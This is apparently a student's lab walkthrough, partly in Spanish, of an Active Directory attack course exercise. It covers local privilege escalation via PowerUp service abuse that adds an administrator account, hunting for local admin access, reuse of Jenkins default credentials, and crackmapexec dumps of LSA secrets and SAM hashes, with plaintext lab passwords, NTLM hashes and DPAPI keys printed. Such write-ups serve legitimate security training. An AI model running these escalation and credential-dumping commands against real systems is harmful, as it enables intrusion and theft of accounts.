Learning Objective - 5
5. Service abused on the student VM for local privilege escalation
PS C:\AD\Tools> Import-Module .\PowerUp.ps1
PS C:\AD\Tools> Get-ServiceUnquoted -Verbose
VERBOSE: Add-ServiceDacl IndividualService : AbyssWebServer
ServiceName : AbyssWebServer
Path : C:\WebServer\Abyss Web Server\abyssws.exe -service
ModifiablePath : @{ModifiablePath=C:\WebServer; IdentityReference=BUILTIN\Users;
Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AbyssWebServer' -Path <HijackPath>
CanRestart : True
VERBOSE: Add-ServiceDacl IndividualService : AbyssWebServer
ServiceName : AbyssWebServer
Path : C:\WebServer\Abyss Web Server\abyssws.exe -service
ModifiablePath : @{ModifiablePath=C:\WebServer; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AbyssWebServer' -Path <HijackPath>
CanRestart : True
PS C:\AD\Tools> Get-ModifiableServiceFile -Verbose
VERBOSE: Add-ServiceDacl IndividualService : AbyssWebServer
ServiceName : AbyssWebServer
Path : C:\WebServer\Abyss Web Server\abyssws.exe -service
ModifiableFile : C:\WebServer\Abyss Web Server
ModifiableFilePermissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileIdentityReference : Everyone
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'AbyssWebServer'
CanRestart : True
PS C:\AD\Tools> Get-ModifiableService -Verbose
VERBOSE: Add-ServiceDacl IndividualService : AbyssWebServer
VERBOSE: Current user has 'ChangeConfig' for AbyssWebServer
VERBOSE: Add-ServiceDacl IndividualService : AbyssWebServer
ServiceName : AbyssWebServer
Path : C:\WebServer\Abyss Web Server\abyssws.exe -service
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'AbyssWebServer'
CanRestart : TrueRespuesta:
AbyssWebServerExplotacion
[*] Checking service permissions...
ServiceName : SNMPTRAP
Path : C:\Windows\System32\snmptrap.exe
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'SNMPTRAP'
CanRestart : TruePS C:\AD\Tools> Invoke-ServiceAbuse -Name 'SNMPTRAP'
WARNING: Waiting for service 'SNMP Trap (SNMPTRAP)' to stop...
ServiceAbused Command
------------- -------
SNMPTRAP net user john Password123! /add && net localgroup Administrators john /add
PS C:\AD\Tools> net users
User accounts for \\DCORP-STD723
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
john WDAGUtilityAccount
The command completed successfully.Iniciamos una cmd como administrador.
Y luego agregamos nuestro usuario como administrador local.
C:\Windows\system32>net localgroup Administrators dcorp\student723 /add
The command completed successfully.
C:\Windows\system32>net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
dcorp\Domain Admins
dcorp\student723
john
The command completed successfully.
Script utilizado para buscar privilegios de administrador utilizando PowerShell Remoting
Primer intento
PS C:\AD\Tools> Find-LocalAdminAccess -Verbose
VERBOSE: [Find-LocalAdminAccess] Querying computers in the domain
VERBOSE: [Get-DomainSearcher] search base:
LDAP://DCORP-DC.DOLLARCORP.MONEYCORP.LOCAL/DC=DOLLARCORP,DC=MONEYCORP,DC=LOCAL
VERBOSE: [Invoke-LDAPQuery] filter string: (&(samAccountType=805306369))
VERBOSE: [Get-DomainComputer] Error disposing of the Results object: Method invocation failed because
[System.DirectoryServices.SearchResult] does not contain a method named 'dispose'.
VERBOSE: [Find-LocalAdminAccess] TargetComputers length: 28
VERBOSE: [Find-LocalAdminAccess] Using threading with threads: 20
VERBOSE: [New-ThreadedFunction] Total number of hosts: 28
VERBOSE: [New-ThreadedFunction] Total number of threads/partitions: 20
VERBOSE: [New-ThreadedFunction] Threads executing
VERBOSE: [New-ThreadedFunction] Waiting 100 seconds for final cleanup...
VERBOSE: [New-ThreadedFunction] all threads completedFallido.
Segundo intento:
PS C:\AD\Tools> Get-NetComputer | select samaccountname
samaccountname
--------------
DCORP-DC$
DCORP-ADMINSRV$
DCORP-APPSRV$
DCORP-CI$
DCORP-MGMT$
DCORP-MSSQL$
DCORP-SQL1$
DCORP-STDADMIN$
DCORP-STD721$
DCORP-STD722$
DCORP-STD724$
DCORP-STD723$
DCORP-STD726$
DCORP-STD729$
DCORP-STD725$
DCORP-STD728$
DCORP-STD727$
DCORP-STD731$
DCORP-STD732$
DCORP-STD730$
DCORP-STD733$
DCORP-STD735$
DCORP-STD734$
DCORP-STD736$
DCORP-STD737$
DCORP-STD739$
DCORP-STD740$
DCORP-STD738$PS C:\AD\Tools> .\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txtFallido.
Tercer intento:
PS C:\AD\Tools> . .\Find-PSRemotingLocalAdminAccess.ps1
PS C:\AD\Tools> Find-PSRemotingLocalAdminAccess
dcorp-std723
dcorp-adminsrv
PS C:\AD\Tools> nslookup dcorp-adminsrv
Server: UnKnown
Address: 172.16.2.1
Name: dcorp-adminsrv.dollarcorp.moneycorp.local
Address: 172.16.4.101PS C:\AD\Tools> Enter-PSSession -ComputerName dcorp-adminsrv -Credential dcorp\student723
[dcorp-adminsrv]: PS C:\Users\student723\Documents> whoami
dcorp\student723
[dcorp-adminsrv]: PS C:\Users\student723\Documents> ls
[dcorp-adminsrv]: PS C:\Users\student723\Documents> cd ..
[dcorp-adminsrv]: PS C:\Users\student723> cd /
[dcorp-adminsrv]: PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/8/2021 1:15 AM PerfLogs
d-r--- 11/11/2022 12:55 AM Program Files
d----- 5/8/2021 2:34 AM Program Files (x86)
d----- 12/3/2023 6:36 AM Transcripts
d-r--- 2/20/2024 4:42 PM Users
d----- 1/10/2024 1:05 AM Windows
Jenkins user used to access Jenkins web console
manager:managerbuilduser:builduserLink: http://172.16.3.11:8080/job/Project0/configure
Luego obtenemos el resultado:
Respuesta:
builduserDomain user used for running Jenkins service on dcorp-ci
Respuesta:
dcorp\ciadminPlus
crackmapexec smb 172.16.3.11 -u student723 -p hT3qDFRHGzVpJtym --lsa
SMB 172.16.3.11 445 DCORP-CI [*] Windows 10.0 Build 20348 x64 (name:DCORP-CI) (domain:dollarcorp.moneycorp.local) (signing:False) (SMBv1:False)
SMB 172.16.3.11 445 DCORP-CI [+] dollarcorp.moneycorp.local\student723:hT3qDFRHGzVpJtym (Pwn3d!)
SMB 172.16.3.11 445 DCORP-CI [+] Dumping LSA secrets
SMB 172.16.3.11 445 DCORP-CI DOLLARCORP.MONEYCORP.LOCAL/ciadmin:$DCC2$10240#ciadmin#3999881514643dbc5cd4efcdce983215
SMB 172.16.3.11 445 DCORP-CI DOLLARCORP.MONEYCORP.LOCAL/student723:$DCC2$10240#student723#eb5f214b28ad3157316b015e0ceb0dde
SMB 172.16.3.11 445 DCORP-CI dcorp\DCORP-CI$:aes256-cts-hmac-sha1-96:8ec0804e2ed229f58336a750f8627490d3cdcb523de3031acfe4db47fb035073
SMB 172.16.3.11 445 DCORP-CI dcorp\DCORP-CI$:aes128-cts-hmac-sha1-96:00527bdd009fedf4f9e116f7270fd8be
SMB 172.16.3.11 445 DCORP-CI dcorp\DCORP-CI$:des-cbc-md5:d08a1a1fabdfc789
SMB 172.16.3.11 445 DCORP-CI dcorp\DCORP-CI$:plain_password_hex:360056003d002b004c002600470051004e0055003b00220061007500280056004f00390025006a0071003c005f005e003d004600600033004a0071004d0043002200500021005100300068006f005b00490071005b002800430075006d005d007200530025006a004b004b00280023002d005d0064002d006800720049003c006e0042003600760056006f00220044004c00670045007700450059003a002a006300600051003e00600033003e005200430075006e002f0033005e0024007200630034004e002800650045006b0022002400570045007400770071005a0068005b00380026002f004b0048005c007400
SMB 172.16.3.11 445 DCORP-CI dcorp\DCORP-CI$:aad3b435b51404eeaad3b435b51404ee:f76f48c176dc09cfd5765843c32809f3:::
SMB 172.16.3.11 445 DCORP-CI dpapi_machinekey:0x4796c1a459d09e880ee84dc5958f1cdca366c808
dpapi_userkey:0xeba6b8fb6245f03382bff91e8fb6fd323080b80c
SMB 172.16.3.11 445 DCORP-CI NL$KM:09c87bc296416ecbb2f61bdc295c39767ea62297dcd3be6bc3714871616bb2b3d0d6e048f08b7d8b8b149505b421fe93285147f12624b5f4e420b6ace5903302
SMB 172.16.3.11 445 DCORP-CI dcorp\ciadmin:*ContinuousIntrusion123
SMB 172.16.3.11 445 DCORP-CI [+] Dumped 10 LSA secrets to /home/dsds/.cme/logs/DCORP-CI_172.16.3.11_2024-02-20_212833.secrets and /home/dsds/.cme/logs/DCORP-CI_172.16.3.11_2024-02-20_212833.cached
crackmapexec smb 172.16.3.11 -u student723 -p hT3qDFRHGzVpJtym --sam
SMB 172.16.3.11 445 DCORP-CI [*] Windows 10.0 Build 20348 x64 (name:DCORP-CI) (domain:dollarcorp.moneycorp.local) (signing:False) (SMBv1:False)
SMB 172.16.3.11 445 DCORP-CI [+] dollarcorp.moneycorp.local\student723:hT3qDFRHGzVpJtym (Pwn3d!)
SMB 172.16.3.11 445 DCORP-CI [+] Dumping SAM hashes
SMB 172.16.3.11 445 DCORP-CI Administrator:500:aad3b435b51404eeaad3b435b51404ee:deaa870c264c682aa1fbfc31ebe678a2:::
SMB 172.16.3.11 445 DCORP-CI Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 172.16.3.11 445 DCORP-CI DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 172.16.3.11 445 DCORP-CI WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 172.16.3.11 445 DCORP-CI [+] Added 4 SAM hashes to the database
Last updated
